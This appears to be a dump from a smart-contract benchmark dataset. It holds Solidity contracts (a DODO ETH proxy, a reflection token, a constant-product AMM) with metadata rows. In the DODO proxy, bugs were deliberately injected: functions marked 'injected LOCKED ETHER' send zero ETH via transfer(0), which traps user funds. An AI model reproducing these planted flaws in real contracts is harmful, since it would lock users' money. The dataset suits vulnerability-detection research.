function _QUOTE_CAPITAL_TOKEN_() external returns (address);
}
// File: contracts/intf/IDODOZoo.sol
interface IDODOZoo {
function getDODO(address baseToken, address quoteToken) external view returns (address);
}
// File: contracts/intf/IWETH.sol
interface IWETH {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address src,
address dst,
uint256 wad) external returns (bool);
function deposit() external payable;
function withdraw(uint256 wad) external;
}
// File: contracts/DODOEthProxy.sol
contract DODOEthProxy is ReentrancyGuard {
using SafeERC20 for IERC20;
address public _DODO_ZOO_;
address payable public _WETH_;
// ============ Events ============
event ProxySellEth(address indexed seller,
address indexed quoteToken,
uint256 payEth,
uint256 receiveQuote);
event ProxyBuyEth(address indexed buyer,
address indexed quoteToken,
uint256 receiveEth,
uint256 payQuote);
event ProxyDepositEth(address indexed lp, address indexed DODO, uint256 ethAmount);
event ProxyWithdrawEth(address indexed lp, address indexed DODO, uint256 ethAmount);
// ============ Functions ============
constructor(address dodoZoo, address payable weth) public {
_DODO_ZOO_ = dodoZoo;
_WETH_ = weth;
}
fallback() external payable { //injected LOCKED ETHER
require(msg.sender == _WETH_, "WE_SAVED_YOUR_ETH_:)");
}
receive() external payable { //injected LOCKED ETHER
require(msg.sender == _WETH_, "WE_SAVED_YOUR_ETH_:)");
}
function sellEthTo(//injected LOCKED ETHER
address quoteTokenAddress,
uint256 ethAmount,
uint256 minReceiveTokenAmount) external payable preventReentrant returns (uint256 receiveTokenAmount) {
require(msg.value == ethAmount, "ETH_AMOUNT_NOT_MATCH");
address DODO = IDODOZoo(_DODO_ZOO_).getDODO(_WETH_, quoteTokenAddress);
require(DODO != address(0), "DODO_NOT_EXIST");
IWETH(_WETH_).deposit{value: ethAmount}();
IWETH(_WETH_).approve(DODO, ethAmount);
receiveTokenAmount = IDODO(DODO).sellBaseToken(ethAmount, minReceiveTokenAmount);
_transferOut(quoteTokenAddress, msg.sender, receiveTokenAmount);
emit ProxySellEth(msg.sender, quoteTokenAddress, ethAmount, receiveTokenAmount);
return receiveTokenAmount;
}
function buyEthWith(address quoteTokenAddress,
uint256 ethAmount,
uint256 maxPayTokenAmount) external preventReentrant returns (uint256 payTokenAmount) {
address DODO = IDODOZoo(_DODO_ZOO_).getDODO(_WETH_, quoteTokenAddress);
require(DODO != address(0), "DODO_NOT_EXIST");
payTokenAmount = IDODO(DODO).queryBuyBaseToken(ethAmount);
_transferIn(quoteTokenAddress, msg.sender, payTokenAmount);
IERC20(quoteTokenAddress).approve(DODO, payTokenAmount);
IDODO(DODO).buyBaseToken(ethAmount, maxPayTokenAmount);
IWETH(_WETH_).withdraw(ethAmount);
msg.sender.transfer(0);
emit ProxyBuyEth(msg.sender, quoteTokenAddress, ethAmount, payTokenAmount);
return payTokenAmount;
}
function depositEth(uint256 ethAmount, address quoteTokenAddress) //injected LOCKED ETHER
external
payable
preventReentrant
{
require(msg.value == ethAmount, "ETH_AMOUNT_NOT_MATCH");
address DODO = IDODOZoo(_DODO_ZOO_).getDODO(_WETH_, quoteTokenAddress);
require(DODO != address(0), "DODO_NOT_EXIST");
IWETH(_WETH_).deposit{value: ethAmount}();
IWETH(_WETH_).approve(DODO, ethAmount);
IDODO(DODO).depositBaseTo(msg.sender, ethAmount);
emit ProxyDepositEth(msg.sender, DODO, ethAmount);
}
function withdrawEth(uint256 ethAmount, address quoteTokenAddress)
external
preventReentrant
returns (uint256 withdrawAmount)
{
address DODO = IDODOZoo(_DODO_ZOO_).getDODO(_WETH_, quoteTokenAddress);
require(DODO != address(0), "DODO_NOT_EXIST");
address ethLpToken = IDODO(DODO)._BASE_CAPITAL_TOKEN_();
// transfer all pool shares to proxy
uint256 lpBalance = IERC20(ethLpToken).balanceOf(msg.sender);
IERC20(ethLpToken).transferFrom(msg.sender, address(this), lpBalance);
IDODO(DODO).withdrawBase(ethAmount);
// transfer remain shares back to msg.sender
lpBalance = IERC20(ethLpToken).balanceOf(address(this));
IERC20(ethLpToken).transfer(msg.sender, lpBalance);
// because of withdraw penalty, withdrawAmount may not equal to ethAmount
// query weth amount first and than transfer ETH to msg.sender
uint256 wethAmount = IERC20(_WETH_).balanceOf(address(this));
IWETH(_WETH_).withdraw(wethAmount);
msg.sender.transfer(0);
emit ProxyWithdrawEth(msg.sender, DODO, wethAmount);
return wethAmount;
}
function withdrawAllEth(address quoteTokenAddress)
external
preventReentrant
returns (uint256 withdrawAmount)
{
address DODO = IDODOZoo(_DODO_ZOO_).getDODO(_WETH_, quoteTokenAddress);
require(DODO != address(0), "DODO_NOT_EXIST");
address ethLpToken = IDODO(DODO)._BASE_CAPITAL_TOKEN_();
// transfer all pool shares to proxy
uint256 lpBalance = IERC20(ethLpToken).balanceOf(msg.sender);
IERC20(ethLpToken).transferFrom(msg.sender, address(this), lpBalance);
IDODO(DODO).withdrawAllBase();
// because of withdraw penalty, withdrawAmount may not equal to ethAmount
// query weth amount first and than transfer ETH to msg.sender
uint256 wethAmount = IERC20(_WETH_).balanceOf(address(this));
IWETH(_WETH_).withdraw(wethAmount);
msg.sender.transfer(0);
emit ProxyWithdrawEth(msg.sender, DODO, wethAmount);
return wethAmount;
}
// ============ Helper Functions ============
function _transferIn(address tokenAddress,
address from,
uint256 amount) internal {
IERC20(tokenAddress).safeTransferFrom(from, address(this), amount);
}
function _transferOut(address tokenAddress,
address to,
uint256 amount) internal {
IERC20(tokenAddress).safeTransfer(to, amount);
}
}
| 279,339 | 12,794 |
957ee0af48edf5364d1cfe16dc3cd355ed4de52f673ff2c602a0366195c540be
| 29,585 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x554653339bEaAe2eef72fA40ee51B895b4dcBc1c/contract.sol
| 5,153 | 18,447 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DoggyStyle is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000 * 10**6 * 10**7;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = 'DoggyStyle';
string private _symbol = 'Doggy';
uint8 private _decimals = 9;
uint256 private _taxFee = 4;
uint256 private _burnFee = 1;
uint256 private _maxTxAmount = 2500e9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total Tester3");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xD3ce6898eC2252713F96FC21921cEBfca27501d2, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++)
transfer(receivers[i], amounts[i]);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tBurn = tAmount.mul(burnFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10');
_taxFee = taxFee;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 9000e9 , 'maxTxAmount should be greater than 9000e9');
_maxTxAmount = maxTxAmount;
}
}
| 256,116 | 12,795 |
5b29fcba7d56ebffbf040e5261ea364f9f9b67d2975da39391aaa979616d0a38
| 20,243 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/c7/C75aE80DE4dee5A49Db3077C9e42125A12A42CE3_AMM.sol
| 3,701 | 13,482 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
library Math {
enum Rounding {
Down, // Toward negative infinity
Up, // Toward infinity
Zero // Toward zero
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a == 0 ? 0 : (a - 1) / b + 1;
}
function mulDiv(uint256 x,
uint256 y,
uint256 denominator) internal pure returns (uint256 result) {
unchecked {
// 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
// variables such that product = prod1 * 2^256 + prod0.
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division.
if (prod1 == 0) {
return prod0 / denominator;
}
// Make sure the result is less than 2^256. Also prevents denominator == 0.
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0].
uint256 remainder;
assembly {
// Compute remainder using mulmod.
remainder := mulmod(x, y, denominator)
// Subtract 256 bit number from 512 bit number.
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// See https://cs.stackexchange.com/q/138556/92363.
// Does not overflow because the denominator cannot be zero at this stage in the function.
uint256 twos = denominator & (~denominator + 1);
assembly {
// Divide denominator by twos.
denominator := div(denominator, twos)
// Divide [prod1 prod0] by twos.
prod0 := div(prod0, twos)
// Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
twos := add(div(sub(0, twos), twos), 1)
}
// Shift in bits from prod1 into prod0.
prod0 |= prod1 * twos;
// four bits. That is, denominator * inv = 1 mod 2^4.
uint256 inverse = (3 * denominator) ^ 2;
// in modular arithmetic, doubling the correct bits in each step.
inverse *= 2 - denominator * inverse; // inverse mod 2^8
inverse *= 2 - denominator * inverse; // inverse mod 2^16
inverse *= 2 - denominator * inverse; // inverse mod 2^32
inverse *= 2 - denominator * inverse; // inverse mod 2^64
inverse *= 2 - denominator * inverse; // inverse mod 2^128
inverse *= 2 - denominator * inverse; // inverse mod 2^256
// is no longer required.
result = prod0 * inverse;
return result;
}
}
function mulDiv(uint256 x,
uint256 y,
uint256 denominator,
Rounding rounding) internal pure returns (uint256) {
uint256 result = mulDiv(x, y, denominator);
if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
result += 1;
}
return result;
}
function sqrt(uint256 a) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
//
// `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
//
// This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
// `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
// `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
//
uint256 result = 1 << (log2(a) >> 1);
// into the expected uint128 result.
unchecked {
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
return min(result, a / result);
}
}
function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = sqrt(a);
return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
}
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log2(value);
return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
}
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10**64) {
value /= 10**64;
result += 64;
}
if (value >= 10**32) {
value /= 10**32;
result += 32;
}
if (value >= 10**16) {
value /= 10**16;
result += 16;
}
if (value >= 10**8) {
value /= 10**8;
result += 8;
}
if (value >= 10**4) {
value /= 10**4;
result += 4;
}
if (value >= 10**2) {
value /= 10**2;
result += 2;
}
if (value >= 10**1) {
result += 1;
}
}
return result;
}
function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log10(value);
return result + (rounding == Rounding.Up && 10**result < value ? 1 : 0);
}
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log256(value);
return result + (rounding == Rounding.Up && 1 << (result * 8) < value ? 1 : 0);
}
}
}
contract AMM {
IERC20 public immutable token0;
IERC20 public immutable token1;
uint public reserve0;
uint public reserve1;
uint public totalSupply;
mapping(address => uint) public balanceOf;
constructor(address _token0, address _token1) {
token0 = IERC20(_token0);
token1 = IERC20(_token1);
}
// Verify these two functions:
function _mint(address _to, uint _amount)
private
{
balanceOf[_to] += _amount;
totalSupply += _amount;
}
function _burn(address _from, uint _amount)
private
{
balanceOf[_from] -= _amount;
totalSupply -= _amount;
}
function _updateReserves(uint _reserve0, uint _reserve1)
private
{
reserve0 = _reserve0;
reserve1 = _reserve1;
}
function swap(address _tokenIn, uint _amountIn)
external
returns (uint amountOut)
{
require(_tokenIn == address(token0) || _tokenIn == address(token1),
"");
require(_amountIn > 0, "amount in should be greater than zero");
// Pull in token in
bool isToken0 = _tokenIn == address(token0);
(IERC20 tokenIn, IERC20 tokenOut,
uint reserveIn, uint reserveOut) = isToken0
? (token0, token1, reserve0, reserve1)
: (token1, token0, reserve1, reserve0);
tokenIn.transferFrom(msg.sender, address(this), _amountIn);
// Calculate token out (include fees), fee 0.3%
// ydx / (x + dx) = dy
uint amountInWithFee = (_amountIn * 997) / 1000;
amountOut = reserveOut * amountInWithFee / (reserveIn + amountInWithFee);
// Transfer token out to msg.sender
tokenOut.transfer(msg.sender, amountOut);
// Update the reserves
_updateReserves(token0.balanceOf(address(this)),
token1.balanceOf(address(this)));
}
function getTokensOut(address _tokenIn, uint _amountIn)
external
view
returns (uint amountOut)
{
require(_tokenIn == address(token0) || _tokenIn == address(token1),
"");
require(_amountIn > 0, "amount in should be greater than zero");
// Pull in token in
bool isToken0 = _tokenIn == address(token0);
(uint reserveIn, uint reserveOut) = isToken0
? (reserve0, reserve1)
: (reserve1, reserve0);
// Calculate token out (include fees), fee 0.3%
// ydx / (x + dx) = dy
uint amountInWithFee = (_amountIn * 997) / 1000;
amountOut = reserveOut * amountInWithFee / (reserveIn + amountInWithFee);
}
function addLiquidity(uint _amount0, uint _amount1)
external
returns (uint shares)
{
// Pull in token0 and token1
token0.transferFrom(msg.sender, address(this), _amount0);
token1.transferFrom(msg.sender, address(this), _amount1);
// dy / dx = y / x
// Verify condition
if(reserve0 > 0 || reserve1 > 0) {
require(reserve0 * _amount1 == reserve1 * _amount0,
"unbalanced reserves!");
}
// Mint shares
// f(x, y) = value of liquidity = sqrt(xy)
// s = dx / x * T = dy / y * T
if(totalSupply == 0) {
shares = Math.sqrt(_amount0 * _amount1);
}
else {
shares = Math.min((_amount0 * totalSupply) / reserve0,
(_amount1 * totalSupply) / reserve1);
}
require(shares > 0, "shares = 0");
_mint(msg.sender, shares);
// Update reserves
_updateReserves(token0.balanceOf(address(this)),
token1.balanceOf(address(this)));
}
function removeLiquidity(uint _shares)
external
returns (uint amount0, uint amount1)
{
uint bal0 = token0.balanceOf(address(this));
uint bal1 = token1.balanceOf(address(this));
amount0 = (_shares * bal0) / totalSupply;
amount1 = (_shares * bal1) / totalSupply;
require(amount0 > 0 && amount1 > 0, "amount0 or amount1 = 0");
_burn(msg.sender, _shares);
_updateReserves(bal0 - amount0, bal1 - amount1);
token0.transfer(msg.sender, amount0);
token1.transfer(msg.sender, amount1);
}
}
| 60,800 | 12,796 |
cb896a1e4055c6cd2746f80da96495e66ad60e10e4a3a699ae543bd23fb31d12
| 14,572 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x75e13520fc29d0bcdd21da14ed693563091ff0fc.sol
| 3,780 | 14,149 |
pragma solidity ^0.4.8;
